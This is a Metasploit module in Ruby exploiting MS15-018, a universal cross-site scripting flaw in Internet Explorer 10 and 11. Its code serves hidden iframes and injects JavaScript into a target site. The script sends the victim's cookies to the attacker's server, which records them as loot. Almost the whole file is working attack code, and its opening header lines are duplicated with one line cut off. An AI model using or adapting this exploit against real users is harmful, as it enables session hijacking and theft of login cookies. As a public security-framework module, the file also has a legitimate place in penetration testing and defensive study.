##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Aux ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer

def initialize(info={})
super(update_info(info,
'Name' => "MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection",
'Description' => %q{
This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet
Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot
have X-Frame-Options or it will fail). You can also have your own custom JavaScript
by setting the CUSTOMJS option. Lastly, you might need to configure the URIHOST option if
you are behind NAT.
},
'License' => MSF_LICENSE,
'Author' =>
[
'David Leo', # Original discovery
'filedescriptor', # PoC
'joev', # He figured it out really
'sinn3r' # MSF
],
'References' =>
[
[ 'CVE', '2015-0072' ],
[ 'OSVDB', '117876' ],
[ 'MSB', 'MS15-018' ],
[ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Feb/10' ]
],
'Platform' => 'win',
'DisclosureDate' => '2015-02-01'
))

register_options(
[
OptString.new('TARGET_URI', [ true, 'The URL for the target iframe' ]),
OptString.new('CUSTOMJS', [ false, 'Custom JavaScript' ])
])
end

def setup
if target_uri !~ /^http/i
raise Msf::OptionValidateError.new(['TARGET_URI'])
end

super
end

def target_uri
datastore['TARGET_URI']
end

def get_html
@html ||= html
end

def ninja_cookie_stealer_name
@ninja ||= "#{Rex::Text.rand_text_alpha(5)}.php"
end

def get_uri(cli=self.cli)
ssl = datastore["SSL"]
proto = (ssl ? "https://" : "http://")
if datastore['URIHOST']
host = datastore['URIHOST']
elsif (cli and cli.peerhost)
host = Rex::Socket.source_address(cli.peerhost)
else
host = srvhost_addr
end

if Rex::Socket.is_ipv6?(host)
host = "[#{host}]"
end

if datastore['URIPORT']
port = ':' + datastore['URIPORT'].to_s
elsif (ssl and datastore["SRVPORT"] == 443)
port = ''
elsif (!ssl and datastore["SRVPORT"] == 80)
port = ''
else
port = ":" + datastore["SRVPORT"].to_s
end

uri = proto + host + port + get_resource

uri
end

def server_uri
@server_uri ||= get_uri
end

def js
datastore['CUSTOMJS'] || %Q|var e = document.createElement('img'); e.src='#{server_uri}/#{ninja_cookie_stealer_name}?data=' + encodeURIComponent(document.cookie);|
end

def html
%Q|
<iframe style="display:none" src="#{get_resource}/redirect.php"></iframe>
<iframe style="display:none" src="#{datastore['TARGET_URI']}"></iframe>
<script>
window.onmessage = function(e){ top[1].postMessage(atob("#{Rex::Text.encode_base64(js)}"),"*"); };
var payload = 'window.onmessage=function(e){ setTimeout(e.data); }; top.postMessage(\\"\\",\\"*\\")';
top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","#{get_resource}/sleep.php",false),send();_.location="javascript:%22%3Cscript%3E'+ encodeURIComponent(payload) +'%3C%2Fscript%3E%22"');
</script>
|
end

def run
exploit
end

def extract_cookie(uri)
Rex::Text.uri_decode(uri.to_s.scan(/#{ninja_cookie_stealer_name}?data=(.+)/).flatten[0].to_s)
end

def on_request_uri(cli, request)
case request.uri
when /redirect.php/
print_status("Sending redirect")
send_redirect(cli, "#{datastore['TARGET_URI']}")
when /sleep.php/
sleep(3)
send_response(cli, '')
when /#{ninja_cookie_stealer_name}/
data = extract_cookie(request.uri)
if data.blank?
print_status("The XSS worked, but no cookie")
else
print_status("Got cookie")
print_line(data)
report_note(
:host => cli.peerhost,
:type => 'ie.cookie',
:data => data
)
path = store_loot('ie_uxss_cookie', "text/plain", cli.peerhost, data, "#{cli.peerhost}_ie_cookie.txt", "IE Cookie")
vprint_good("Cookie stored as: #{path}")
end
else
print_status("Sending HTML")
send_response(cli, get_html)
end
end
end